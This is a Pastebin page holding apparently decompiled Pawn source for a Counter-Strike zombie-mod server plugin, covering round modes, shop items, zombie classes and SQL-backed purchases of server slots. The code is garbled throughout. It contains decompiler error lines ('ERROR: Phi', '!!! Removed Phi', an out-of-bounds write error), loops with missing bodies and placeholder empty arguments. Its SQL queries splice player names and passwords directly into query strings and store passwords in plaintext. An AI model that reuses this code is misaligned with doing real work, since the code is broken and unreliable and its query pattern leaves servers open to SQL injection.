Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #pragma semicolon 1
- #pragma ctrlchar '\'
- new g_cZombieInfectSounds[5][] =
- {
- "ZombieOutstanding/zombie_infect_01.wav",
- "ZombieOutstanding/zombie_infect_02.wav",
- "ZombieOutstanding/zombie_infect_03.wav",
- "ZombieOutstanding/zombie_infect_04.wav",
- "ZombieOutstanding/zombie_infect_05.wav"
- };
- new g_cEndRoundZombieSounds[4][] =
- {
- "ZombieOutstanding/end_round_win_zombies_01.wav",
- "ZombieOutstanding/end_round_win_zombies_02.wav",
- "ZombieOutstanding/end_round_win_zombies_03.wav",
- "ZombieOutstanding/end_round_win_zombies_04.wav"
- };
- new g_cEndRoundHumanSounds[3][] =
- {
- "ZombieOutstanding/end_round_win_humans_01.wav",
- "ZombieOutstanding/end_round_win_humans_02.wav",
- "ZombieOutstanding/end_round_win_humans_03.wav"
- };
- new g_cStartRoundSurvivorSounds[2][] =
- {
- "ZombieOutstanding/round_start_survivor_01.wav",
- "ZombieOutstanding/round_start_survivor_02.wav"
- };
- new g_cStartRoundNemesisSounds[2][] =
- {
- "ZombieOutstanding/round_start_nemesis_01.wav",
- "ZombieOutstanding/round_start_nemesis_02.wav"
- };
- new g_cZombieBurnSounds[5][] =
- {
- "ZombieOutstanding/zombie_burn_01.wav",
- "ZombieOutstanding/zombie_burn_02.wav",
- "ZombieOutstanding/zombie_burn_03.wav",
- "ZombieOutstanding/zombie_burn_04.wav",
- "ZombieOutstanding/zombie_burn_05.wav"
- };
- new g_cHumanNadeInfectSounds[3][] =
- {
- "ZombieOutstanding/human_nade_infect_scream_01.wav",
- "ZombieOutstanding/human_nade_infect_scream_02.wav",
- "ZombieOutstanding/human_nade_infect_scream_03.wav"
- };
- new Float:g_fDamageCoords[8][0];
- new Float:g_fSizes[70][3] =
- {
- {
- 0, 0, 1065353216
- },
- {
- 0, 0, -1082130432
- },
- Error on write global g_fSizes: Index was outside the bounds of the array.
- new g_cHumanModels[4][] =
- {
- "terror",
- "gign",
- "sas",
- "arctic"
- };
- new g_cZombieModels[7][] =
- {
- "z_out_clasic",
- "z_out_raptor",
- "z_out_mutant",
- "z_out_tight",
- "z_out_regenerator",
- "z_out_predator_blue",
- "z_out_hunter"
- };
- new g_cZombieClaws[7][] =
- {
- "models/ZombieOutstanding/z_out_clasic_claws.mdl",
- "models/ZombieOutstanding/z_out_raptor_claws.mdl",
- "models/ZombieOutstanding/z_out_mutant_claws.mdl",
- "models/ZombieOutstanding/z_out_tight_claws.mdl",
- "models/ZombieOutstanding/z_out_raptor_claws.mdl",
- "models/ZombieOutstanding/z_out_predator_blue_claws.mdl",
- "models/ZombieOutstanding/z_out_hunter_claws.mdl"
- };
- new g_iZombieHealths[7] =
- {
- 5675, 5000, 7200, 3800, 5250, 5750, 5200
- }
- new Float:g_fZombieGravities[7] =
- {
- 1065353216, 1064682127, 1066275963, 1058474557, 1065353216, 1061158912, 1058977874
- }
- new Float:g_fZombieSpeeds[7] =
- {
- 1132756992, 1134100480, 1131741184, 1132593152, 1132068864, 1133150208, 1133051904
- }
- new Float:g_fZombieKnockbacks[7] =
- {
- 1062501089, 1067869798, 1054951342, 1065353216, 1063507722, 1060152279, 1062668861
- }
- new g_cZombieClasses[7][24] =
- {
- "Clasic",
- "Raptor",
- "Mutant",
- "Tight",
- "Regenerator",
- "Predator Blue",
- "Hunter"
- };
- new g_cZombieAttribs[7][] =
- {
- "\r[=Balanced=]",
- "\r[Speed +++]",
- "\r[Health +++]",
- "\r[Double Jump]",
- "\r[Regeneration]",
- "\r[Powerful]",
- "\r[Silent Killer]"
- };
- new g_cExtraItems[23][] =
- {
- "Antidote",
- "Fire Grenade",
- "Freeze Grenade",
- "Explosion Grenade",
- "Infection Grenade",
- "Killing Grenade",
- "M249 Machine Gun",
- "G3SG1 Auto Sniper Rifle",
- "SG550 Auto Sniper Rifle",
- "AWP Sniper Rifle",
- "Nightvision Googles",
- "Zombie Madness",
- "Jetpack + Bazooka",
- "Unlimited Clip",
- "Armor (100ap)",
- "Armor (200ap)",
- "Multijump +1",
- "Tryder",
- "Survivor",
- "Sniper",
- "Nemesis",
- "Assassin",
- "Knife Blink"
- };
- new g_iExtraItemsPrices[23] =
- {
- 15, 4, 3, 4, 26, 30, 9, 11, 10, 9, 2, 15, 30, 10, 5, 10, 5, 30, 180, 175, 140, 140, 10
- }
- new g_cExtraItemsPrices[23][] =
- {
- "\r[15 packs]",
- "\r[4 packs]",
- "\r[3 packs]",
- "\r[4 packs]",
- "\r[26 packs]",
- "\r[42 packs]",
- "\r[9 packs]",
- "\r[11 packs]",
- "\r[10 packs]",
- "\r[9 packs]",
- "\r[2 packs]",
- "\r[15 packs]",
- "\r[30 packs]",
- "\r[10 packs]",
- "\r[5 packs]",
- "\r[10 packs]",
- "\r[5 packs]",
- "\r[30 packs]",
- "\r[180 packs]",
- "\r[175 packs]",
- "\r[140 packs]",
- "\r[140 packs]",
- "\r[10 packs]"
- };
- new g_iExtraItemsTeams[23] =
- {
- 1, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1
- }
- new g_cShopItems[8][] =
- {
- "Double Damage",
- "Buy Server Slot",
- "Buy Admin Model",
- "100 Ammo Packs",
- "200 Ammo Packs",
- "300 Ammo Packs",
- "God Mode",
- "Armageddon Round"
- };
- new g_iShopItemsPrices[8] =
- {
- 120, 700, 2250, 160, 200, 280, 150, 180
- }
- new g_iShopItemsTeams[8] =
- {
- 2, 0, 0, 0, 0, 0, 2, 0
- }
- new g_cShopItemsPrices[8][] =
- {
- "\r[120 points]",
- "\r[700 points]\y (Recommended)",
- "\r[2250 points]",
- "\r[160 points]",
- "\r[200 points]",
- "\r[280 points]",
- "\r[150 points]",
- "\r[180 points]"
- };
- new g_cSecondaryWeapons[6][] =
- {
- "USP",
- "GLOCK18",
- "P228",
- "DEAGLE",
- "ELITE",
- "FIVESEVEN"
- };
- new g_cPrimaryWeapons[10][] =
- {
- "GALIL",
- "FAMAS",
- "M4A1",
- "AK47",
- "AUG",
- "SG552",
- "XM1014",
- "M3",
- "MP5NAVY",
- "P90"
- };
- new g_cSecondaryEntities[6][] =
- {
- "weapon_usp",
- "weapon_glock18",
- "weapon_p228",
- "weapon_deagle",
- "weapon_elite",
- "weapon_fiveseven"
- };
- new g_cPrimaryEntities[10][] =
- {
- "weapon_galil",
- "weapon_famas",
- "weapon_m4a1",
- "weapon_ak47",
- "weapon_aug",
- "weapon_sg552",
- "weapon_xm1014",
- "weapon_m3",
- "weapon_mp5navy",
- "weapon_p90"
- };
- new g_cBotNames[17][] =
- {
- "Banshee! [SWE]",
- "[pandor]Csaby",
- "Gabbbby",
- "Tha Ghost",
- "Teracotista",
- "Categoria epave ))",
- "Only p0rn",
- "Webdings!",
- "Red Tube",
- "Titanic Iceberg",
- "GameTracker RS",
- "Fan PooL",
- "Hattrick Rules",
- "DaNeZu Ordinarul",
- "Branza de Wisconsin",
- "Cheese Master",
- "Cocky Benedicht"
- };
- new g_iVoter;
- new Handle:g_hSQLTuple;
- new bool:g_bZombie[33];
- new g_iPlayerType[33];
- new bool:g_bFlashEnabled[33];
- new bool:g_bDoubleDamage[33];
- new bool:g_bServerSlot[33];
- new bool:g_bBot[33];
- new g_iMaxJumps[33];
- new bool:g_bAdminModel[33];
- new g_iBlinks[33];
- new bool:g_bFlash[33];
- new g_iRoundType;
- new g_iVariable;
- new bool:g_bTryder[33];
- new bool:g_bAlive[33];
- new g_iPoints[33];
- new g_iScore[33];
- new Float:g_fLastQuery;
- new g_iTimeLimit;
- new g_iKills[33];
- new g_iAliveCount;
- new bool:g_bUnlimitedClip[33];
- new bool:g_bKilling[33];
- new g_iRounds[1024];
- new g_iRoundsCount;
- new g_iDeaths[33];
- new g_iOnlineTime[33];
- new Float:g_fLastTime[33];
- new g_cOnlineTime[33][32];
- new g_cClass[33][24];
- new g_iZombieClass[33];
- new g_iZombieNextClass[33];
- new bool:g_bFrozen[33];
- new bool:g_bRanked[33];
- new bool:g_bAdmin[33];
- new g_cAdminFlags[33][42];
- new g_cName[33][32];
- new bool:g_bModeStarted;
- new g_cCountry[33][46];
- new g_cInternetProtocolAddress[33][24];
- new Float:g_fLastLeapTime[33];
- new Array:g_aNameData;
- new Array:g_aAmmoData;
- new g_iLastMode;
- new Float:g_fDamage[33];
- new g_iPacks[33];
- new g_iTopMessageSync;
- new Float:g_fGagTime[33];
- new g_iLeftMessageSync;
- new g_iEventsHudmessage;
- new g_cQuery[256];
- new g_iBurningDuration[33];
- new g_iWeapon[33];
- new g_iJumps[33];
- new g_iDownMessageSync;
- new g_iMenu;
- new Float:g_fLastNameChanged[33];
- new g_iCounter;
- new bool:g_bFake[33];
- new bool:g_bConnected[33];
- new bool:g_bVoting;
- new g_iSecondaryWeapons[64];
- new bool:g_bGaveThisRound[33];
- new g_iPrimaryWeapons[64];
- new g_cSteam[33][24];
- new bool:g_bSecondVoting;
- new g_iVotes[7];
- new g_cMaps[7][32];
- new bool:g_bEnded;
- new g_cSecondMaps[5][32];
- new g_iSecondVotes[5];
- new g_iRanksCount;
- new g_iKillsThisRound[33];
- new bool:g_bRoundStart;
- new bool:g_bRoundEnd;
- new g_iMaxClients;
- new g_iPosition[33];
- new g_iGameMenu;
- new g_iSecondaryMenu;
- new g_iCenterMessageSync;
- new g_iPrimaryMenu;
- new g_cGlobalPassword[33][32];
- new g_iShopMenu;
- new g_iMenuZombieClasses;
- new g_iMenuExtraItems;
- new bool:g_bNoDamage[33];
- new Float:g_fLastChangedModel;
- new g_iTripMines[33];
- new g_iPlantedMines[33];
- new g_iSize;
- new g_iMessagePosition;
- new bool:g_bPlanting[33];
- new g_iCounterMessage;
- new bool:g_bRemoving[33];
- new g_iMineMessage;
- new g_iSecondMineMessage;
- new g_iPlayerMines[33][2];
- new g_cTag[256][24];
- new g_cAdvertisements[64][188];
- new g_iAdvertisementsCount;
- new g_iMessage;
- new g_iOffset[33][2];
- new g_iArgumentPing[33][3];
- new g_iPingOverride[33] =
- {
- -1, ...
- }
- new g_iBotsCount;
- new bool:g_bSwitching;
- new Float:g_fRoundStartTime;
- new g_cModeRecordings[52][32];
- new g_iModeRecordings;
- new g_cNames[10][32];
- new g_iTracker;
- new g_cAddresses[10][24];
- new Float:g_fLast[33];
- new Float:g_fLastRankQuery;
- new Float:g_fLastBanQuery;
- new g_cPasswords[33][32];
- new g_cHudAdvertisements[64][188];
- new g_iHudAdvertisementsCount;
- new g_iHudMessage;
- new g_iSnipers;
- new g_iSurvivors;
- Float:operator*(Float:,_:)(Float:oper1, oper2)
- {
- return oper1 * float(oper2);
- }
- bool:operator>(Float:,Float:)(Float:oper1, Float:oper2)
- {
- return 0 < floatcmp(oper1, oper2);
- }
- bool:operator>(_:,Float:)(oper1, Float:oper2)
- {
- return 0 < floatcmp(float(oper1), oper2);
- }
- bool:operator>=(Float:,Float:)(Float:oper1, Float:oper2)
- {
- return 0 <= floatcmp(oper1, oper2);
- }
- bool:operator<(Float:,Float:)(Float:oper1, Float:oper2)
- {
- return 0 > floatcmp(oper1, oper2);
- }
- bool:operator<(Float:,_:)(Float:oper1, oper2)
- {
- return 0 > floatcmp(oper1, float(oper2));
- }
- bool:operator<(_:,Float:)(oper1, Float:oper2)
- {
- return 0 > floatcmp(float(oper1), oper2);
- }
- replace_all(String:string[], len, String:what[], String:with[])
- {
- new pos = 0;
- new var1 = contain(string, what);
- pos = var1;
- if (var1 == -1)
- {
- return 0;
- }
- new total = 0;
- new with_len = strlen(with);
- new diff = strlen(what) - with_len;
- new total_len = strlen(string);
- new temp_pos = 0;
- while (replace(string[pos], len - pos, what, with))
- {
- pos = with_len + pos;
- total_len -= diff;
- if (pos >= total_len)
- {
- return total;
- }
- else
- {
- temp_pos = contain(string[pos], what);
- if (temp_pos == -1)
- {
- return total;
- }
- else
- {
- pos = temp_pos + pos;
- total++;
- }
- return total;
- }
- return total;
- }
- return total;
- }
- public __fatal_ham_error(Ham:id, HamError:err, String:reason[])
- {
- !!! Removed Phi
- if (func != -1 && callfunc_begin_i(func, -1) == 1)
- {
- callfunc_push_int(id);
- callfunc_push_int(err);
- callfunc_push_str(reason, false);
- if (callfunc_end() == 1)
- {
- fail = 0;
- }
- }
- if (fail)
- {
- set_fail_state(reason);
- }
- return 0;
- }
- public MessageSayText()
- {
- !!! Removed Phi
- if (get_msg_args() == 4)
- {
- if (g_iMaxClients + 1 > var2 & 0 < var2 && g_cTag[iSender][0][0][0])
- {
- static cReplacement[189];
- static cPhrase[47];
- get_msg_arg_string(2, "", 46);
- if (equal("", "#Cstrike_Chat_CT", 0))
- {
- formatex(cReplacement, 188, "\1(Counter-Terrorist) \4%s \3%s\1 : %s", g_cTag[iSender][0][0], "%s1", "%s2");
- set_msg_arg_string(2, "");
- }
- if (equal("", "#Cstrike_Chat_T", 0))
- {
- formatex(cReplacement, 188, "\1(Terrorist) \4%s \3%s\1 : %s", g_cTag[iSender][0][0], "%s1", "%s2");
- set_msg_arg_string(2, "");
- }
- if (equal("", "#Cstrike_Chat_CT_Dead", 0))
- {
- formatex(cReplacement, 188, "\1*DEAD*(Counter-Terrorist) \4%s \3%s\1 : %s", g_cTag[iSender][0][0], "%s1", "%s2");
- set_msg_arg_string(2, "");
- }
- if (equal("", "#Cstrike_Chat_T_Dead", 0))
- {
- formatex(cReplacement, 188, "\1*DEAD*(Terrorist) \4%s \3%s\1 : %s", g_cTag[iSender][0][0], "%s1", "%s2");
- set_msg_arg_string(2, "");
- }
- if (equal("", "#Cstrike_Chat_Spec", 0))
- {
- formatex(cReplacement, 188, "\1(Spectator) \4%s \3%s\1 : %s", g_cTag[iSender][0][0], "%s1", "%s2");
- set_msg_arg_string(2, "");
- }
- if (equal("", "#Cstrike_Chat_All", 0))
- {
- formatex(cReplacement, 188, "\4%s \3%s\1 : %s", g_cTag[iSender][0][0], "%s1", "%s2");
- set_msg_arg_string(2, "");
- }
- if (equal("", "#Cstrike_Chat_AllDead", 0))
- {
- formatex(cReplacement, 188, "\1*DEAD* \4%s \3%s\1 : %s", g_cTag[iSender][0][0], "%s1", "%s2");
- set_msg_arg_string(2, "");
- }
- if (equal("", "#Cstrike_Chat_AllSpec", 0))
- {
- formatex(cReplacement, 188, "\1*SPEC* \4%s \3%s\1 : %s", g_cTag[iSender][0][0], "%s1", "%s2");
- set_msg_arg_string(2, "");
- }
- }
- }
- return 0;
- }
- StartSwarmMode(bool:bForced)
- {
- !!! Removed Phi
- if ((g_iAliveCount > 9 && g_iLastMode != 64 && random_num(1, 27) == 1 && !g_iRounds[g_iRoundsCount][0][0]) || bForced)
- {
- g_iLastMode = 64;
- g_iRoundType = g_iRoundType | 64;
- static i;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (!g_bAlive[i][0][0] || get_team(i) == 1)
- {
- }
- else
- {
- MakeZombie(0, i, true, false, false);
- }
- i += 1;
- }
- client_cmd(0, "spk ZombieOutstanding/round_start_plague");
- set_hudmessage(20, 255, 20, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iTopMessageSync, "Swarm Round !!");
- remove_task(600, 0);
- set_task(2.00, "TaskAmbience", 600, "", 0, "", 0);
- g_bModeStarted = 1;
- return 0;
- }
- StartPlagueMode(false);
- return 0;
- }
- StartPlagueMode(bool:bForced)
- {
- !!! Removed Phi
- if ((g_iAliveCount > 9 && g_iLastMode != 32 && random_num(1, 28) == 1 && !g_iRounds[g_iRoundsCount][0][0]) || bForced)
- {
- g_iLastMode = 32;
- g_iRoundType = g_iRoundType | 32;
- static iNemesis;
- static iMaxNemesis;
- static i;
- static iMaxSurvivors;
- static iSurvivors;
- static iMaxZombies;
- static iZombies;
- iMaxSurvivors = 3;
- iMaxNemesis = 2;
- iZombies = 0;
- iNemesis = 0;
- iSurvivors = 0;
- while (iSurvivors < iMaxSurvivors)
- {
- i = GetRandomAlive();
- if (g_iPlayerType[i][0][0] & 4)
- {
- }
- else
- {
- MakeHuman(i, true, false);
- iSurvivors += 1;
- set_health(i, "");
- }
- }
- while (iNemesis < iMaxNemesis)
- {
- if (g_iPlayerType[i][0][0] & 4 || g_iPlayerType[i][0][0] & 1)
- {
- }
- }
- iMaxZombies = floatround(0.40/*1053609165*/ * g_iAliveCount + -5, floatround_floor);
- while (iZombies < iMaxZombies)
- {
- i += 1;
- if (i > g_iMaxClients)
- {
- i = 1;
- }
- if (!g_bAlive[i][0][0] || g_bZombie[i][0][0] || g_iPlayerType[i][0][0] & 4)
- {
- }
- }
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (!g_bAlive[i][0][0] || g_bZombie[i][0][0] || g_iPlayerType[i][0][0] & 4)
- {
- }
- else
- {
- if (get_team(i) != 2)
- {
- g_bSwitching = 1;
- set_team(i, "");
- g_bSwitching = 0;
- }
- }
- i += 1;
- }
- client_cmd(0, "spk ZombieOutstanding/round_start_plague");
- set_hudmessage(0, 50, 200, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iTopMessageSync, "Plague Round !!");
- remove_task(600, 0);
- set_task(2.00, "TaskAmbience", 600, "", 0, "", 0);
- g_bModeStarted = 1;
- return 0;
- }
- StartMultiMode(false);
- return 0;
- }
- StartMultiMode(bool:bForced)
- {
- !!! Removed Phi
- if ((g_iAliveCount > 9 && g_iLastMode != 16 && random_num(1, 24) == 1 && !g_iRounds[g_iRoundsCount][0][0]) || bForced)
- {
- g_iLastMode = 16;
- g_iRoundType = g_iRoundType | 16;
- static i;
- static iMaxZombies;
- static iZombies;
- iZombies = 0;
- iMaxZombies = floatround(0.18/*1043878380*/ * g_iAliveCount, floatround_ceil);
- i = random_num(1, g_iMaxClients);
- while (iZombies < iMaxZombies)
- {
- i += 1;
- if (i > g_iMaxClients)
- {
- i = 1;
- }
- if (!g_bAlive[i][0][0] || g_bZombie[i][0][0])
- {
- }
- }
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (!g_bAlive[i][0][0] || g_bZombie[i][0][0])
- {
- }
- else
- {
- if (get_team(i) != 2)
- {
- g_bSwitching = 1;
- set_team(i, "");
- g_bSwitching = 0;
- }
- }
- i += 1;
- }
- client_cmd(0, "spk ZombieOutstanding/round_start_plague");
- set_hudmessage(200, 50, 0, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iTopMessageSync, "Multiple Infections !!");
- remove_task(600, 0);
- set_task(2.00, "TaskAmbience", 600, "", 0, "", 0);
- g_bModeStarted = 1;
- return 0;
- }
- StartArmageddonMode(false);
- return 0;
- }
- StartArmageddonMode(bool:bForced)
- {
- !!! Removed Phi
- if ((g_iAliveCount > 9 && g_iLastMode != 128 && random_num(1, 33) == 1 && !g_iRounds[g_iRoundsCount][0][0]) || bForced)
- {
- g_iLastMode = 128;
- g_iRoundType = g_iRoundType | 128;
- static i;
- static iMaxZombies;
- static iZombies;
- iZombies = 0;
- iMaxZombies = floatround(0.44/*1054951342*/ * g_iAliveCount, floatround_floor);
- i = random_num(1, g_iMaxClients);
- while (iZombies < iMaxZombies)
- {
- i += 1;
- if (i > g_iMaxClients)
- {
- i = 1;
- }
- if (!g_bAlive[i][0][0] || g_bZombie[i][0][0])
- {
- }
- }
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (!g_bAlive[i][0][0] || g_bZombie[i][0][0])
- {
- }
- else
- {
- MakeHuman(i, true, false);
- set_health(i, "");
- }
- i += 1;
- }
- if (random_num(0, 1))
- {
- client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)][0][0]);
- }
- else
- {
- client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)][0][0]);
- }
- set_hudmessage(181, 62, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iTopMessageSync, "Armageddon Round !!");
- remove_task(600, 0);
- set_task(2.00, "TaskAmbience", 600, "", 0, "", 0);
- g_bModeStarted = 1;
- return 0;
- }
- StartNightmareMode(false);
- return 0;
- }
- StartNightmareMode(bool:bForced)
- {
- !!! Removed Phi
- if ((g_iAliveCount > 9 && g_iLastMode != 256 && random_num(1, 36) == 1 && !g_iRounds[g_iRoundsCount][0][0]) || bForced)
- {
- g_iLastMode = 256;
- g_iRoundType = g_iRoundType | 256;
- static i;
- static iMaxAssassins;
- static iAssassins;
- static iMaxSnipers;
- static iSnipers;
- static iMaxNemesis;
- static iNemesis;
- iAssassins = 0;
- iSnipers = 0;
- iNemesis = 0;
- iMaxNemesis = floatround(0.24/*1047904911*/ * g_iAliveCount, floatround_floor);
- iMaxAssassins = floatround(0.24/*1047904911*/ * g_iAliveCount, floatround_floor);
- iMaxSnipers = floatround(0.25/*1048576000*/ * g_iAliveCount, floatround_ceil);
- i = random_num(1, g_iMaxClients);
- while (iNemesis < iMaxNemesis)
- {
- i += 1;
- if (i > g_iMaxClients)
- {
- i = 1;
- }
- if (!g_bAlive[i][0][0] || g_bZombie[i][0][0])
- {
- }
- }
- while (iAssassins < iMaxAssassins)
- {
- i += 1;
- if (i > g_iMaxClients)
- {
- i = 1;
- }
- if (!g_bAlive[i][0][0] || g_bZombie[i][0][0])
- {
- }
- }
- while (iSnipers < iMaxSnipers)
- {
- i += 1;
- if (i > g_iMaxClients)
- {
- i = 1;
- }
- if (!g_bAlive[i][0][0] || g_bZombie[i][0][0] || g_iPlayerType[i][0][0] & 8)
- {
- }
- }
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (!g_bAlive[i][0][0] || g_bZombie[i][0][0] || g_iPlayerType[i][0][0] & 8 || g_iPlayerType[i][0][0] & 4)
- {
- }
- else
- {
- MakeHuman(i, true, false);
- set_health(i, 12500);
- }
- i += 1;
- }
- if (random_num(0, 1))
- {
- client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)][0][0]);
- }
- else
- {
- client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)][0][0]);
- }
- set_hudmessage(241, 15, 244, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iTopMessageSync, "Nightmare Round !!");
- remove_task(600, 0);
- set_task(2.00, "TaskAmbience", 600, "", 0, "", 0);
- g_bModeStarted = 1;
- return 0;
- }
- StartAssassinsVsSnipersMode(false);
- return 0;
- }
- StartAssassinsVsSnipersMode(bool:bForced)
- {
- !!! Removed Phi
- if ((g_iAliveCount > 9 && g_iLastMode != 512 && random_num(1, 37) == 1 && !g_iRounds[g_iRoundsCount][0][0]) || bForced)
- {
- g_iLastMode = 512;
- g_iRoundType = g_iRoundType | 512;
- static i;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (g_bAlive[i][0][0])
- {
- switch (get_team(i))
- {
- case 1:
- {
- MakeZombie(0, i, false, false, true);
- set_health(i, "");
- i += 1;
- }
- case 2:
- {
- MakeHuman(i, false, true);
- set_health(i, "");
- i += 1;
- }
- default:
- {
- i += 1;
- }
- }
- }
- i += 1;
- }
- if (random_num(0, 1))
- {
- client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)][0][0]);
- }
- else
- {
- client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)][0][0]);
- }
- set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iTopMessageSync, "Assassins vs Snipers Round !!");
- remove_task(600, 0);
- set_task(2.00, "TaskAmbience", 600, "", 0, "", 0);
- g_bModeStarted = 1;
- return 0;
- }
- static cTime[4];
- get_time("%H", cTime, 3);
- if (cTime[0][0] != 48)
- {
- StartSniperMode(0);
- }
- else
- {
- if (cTime[0][0] == 48 && cTime[1][0] == 49)
- {
- StartSniperMode(0);
- }
- if (cTime[0][0] == 48 && cTime[1][0] == 50)
- {
- StartSniperMode(0);
- }
- StartAssassinMode(0);
- }
- return 0;
- }
- StartNormalMode(iPlayer)
- {
- static j;
- static i;
- i = GetRandomAlive();
- if (iPlayer)
- {
- i = iPlayer;
- }
- j = i;
- MakeZombie(0, i, false, false, false);
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var3 = g_bAlive;
- new var1;
- new var2;
- if (var3[i][0][0])
- {
- new var4 = g_bZombie;
- if (!var4[i][0][0])
- {
- if (get_team(i) == 1)
- {
- var2 = var4;
- if (ERROR: Phi)
- {
- g_bSwitching = 1;
- set_team(i, "");
- g_bSwitching = 0;
- i += 1;
- }
- i += 1;
- }
- var1 = var4;
- }
- var1 = var4;
- }
- else
- {
- var1 = var3;
- }
- var2 = var1;
- if (ERROR: Phi)
- {
- g_bSwitching = 1;
- set_team(i, "");
- g_bSwitching = 0;
- i += 1;
- }
- i += 1;
- }
- set_hudmessage(255, 0, 0, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
- ShowSyncHudMsg(0, g_iTopMessageSync, "%s is the first zombie !!", g_cName[j][0][0]);
- remove_task(600, 0);
- set_task(2.00, "TaskAmbience", 600, "", 0, "", 0);
- g_bModeStarted = 1;
- return 0;
- }
- public CommandGetSlot(iPlayer)
- {
- new var2 = g_bServerSlot;
- new var1;
- if (var2[iPlayer][0][0])
- {
- static cPassword[32];
- read_argv(1, cPassword, 32);
- if (!strlen(cPassword))
- {
- client_cmd(iPlayer, "messagemode amx_password_for_slot");
- send_say_text(iPlayer, g_iMaxClients + 1, 205924);
- var1 = var3;
- }
- static cData[3];
- static cQuery[128];
- copy(g_cGlobalPassword[iPlayer][0][0], 32, "");
- num_to_str(iPlayer, cData, 3);
- new var3 = g_cName[iPlayer];
- formatex(cQuery, 128, "SELECT f FROM a WHERE n='%s'", var3[0][0]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLCheckSlot", "", "", 3);
- }
- else
- {
- var1 = var2;
- }
- return 0;
- }
- public SQLRanksCount(iFailState, Handle:hQuery, String:cError[], iErrorNum, String:cData[], iDataSize, Float:fQueueTime)
- {
- g_iRanksCount = SQL_NumResults(hQuery);
- return 0;
- }
- public SQLEmpty(iFailState, Handle:hQuery, String:cError[], iErrorNum, String:cData[], iDataSize, Float:fQueueTime)
- {
- return 0;
- }
- public SQLCheckSlot(iFailState, Handle:hQuery, String:cError[], iErrorNum, String:cData[], iDataSize, Float:fQueueTime)
- {
- static iPlayer;
- iPlayer = str_to_num(cData);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought a\4 Slot Account", g_cName[iPlayer][0][0]);
- if (SQL_NumResults(hQuery))
- {
- static cFlags[42];
- SQL_ReadResult(hQuery, 0, 207016, 42);
- format(cFlags, 42, "r%s", cFlags);
- formatex(g_cQuery, 256, "UPDATE a SET f='%s' WHERE n='%s'", cFlags, g_cName[iPlayer][0][0]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "", "", 0);
- console_print(iPlayer, "");
- console_print(iPlayer, "****************************");
- console_print(iPlayer, "Done! You have now slot access!");
- console_print(iPlayer, "We hope you enjoy you have fun!");
- console_print(iPlayer, "****************************");
- console_print(iPlayer, "");
- server_cmd("kick #%d Check your console!", get_user_userid(iPlayer));
- }
- else
- {
- formatex(g_cQuery, 256, "INSERT INTO a VALUES ('%s','%s','%s','%s','%s','')", g_cSteam[iPlayer][0][0], g_cName[iPlayer][0][0], "r", g_cInternetProtocolAddress[iPlayer][0][0], g_cGlobalPassword[iPlayer][0][0]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "", "", 0);
- client_cmd(iPlayer, "setinfo _pw \"%s\"", g_cGlobalPassword[iPlayer][0][0]);
- console_print(iPlayer, "");
- console_print(iPlayer, "****************************");
- console_print(iPlayer, "Done! You have now slot access!");
- console_print(iPlayer, "Be careful, to login with your account,");
- console_print(iPlayer, "You should type in your console");
- console_print(iPlayer, "setinfo _pw \"password\"");
- console_print(iPlayer, "We hope you enjoy you have fun!");
- console_print(iPlayer, "****************************");
- console_print(iPlayer, "");
- server_cmd("kick #%d Check your console!", get_user_userid(iPlayer));
- }
- return 0;
- }
- public SQLCheckModel(iFailState, Handle:hQuery, String:cError[], iErrorNum, String:cData[], iDataSize, Float:fQueueTime)
- {
- static iPlayer;
- iPlayer = str_to_num(cData);
- PrintToChat(0, "\4[Zombie Outstanding]\3 %s\1 bought\4 Admin Model Access", g_cName[iPlayer][0][0]);
- if (SQL_NumResults(hQuery))
- {
- static cFlags[42];
- SQL_ReadResult(hQuery, 0, 209520, 42);
- format(cFlags, 42, "m%s", cFlags);
- formatex(g_cQuery, 256, "UPDATE a SET f='%s' WHERE n='%s'", cFlags, g_cName[iPlayer][0][0]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "", "", 0);
- console_print(iPlayer, "");
- console_print(iPlayer, "****************************");
- console_print(iPlayer, "Done! You have now admin models access!");
- console_print(iPlayer, "We hope you enjoy you have fun!");
- console_print(iPlayer, "****************************");
- console_print(iPlayer, "");
- server_cmd("kick #%d Check your console!", get_user_userid(iPlayer));
- }
- else
- {
- formatex(g_cQuery, 256, "INSERT INTO a VALUES ('%s','%s','%s','%s','%s','')", g_cSteam[iPlayer][0][0], g_cName[iPlayer][0][0], "m", g_cInternetProtocolAddress[iPlayer][0][0], g_cGlobalPassword[iPlayer][0][0]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", "", "", 0);
- client_cmd(iPlayer, "setinfo _pw \"%s\"", g_cGlobalPassword[iPlayer][0][0]);
- console_print(iPlayer, "");
- console_print(iPlayer, "****************************");
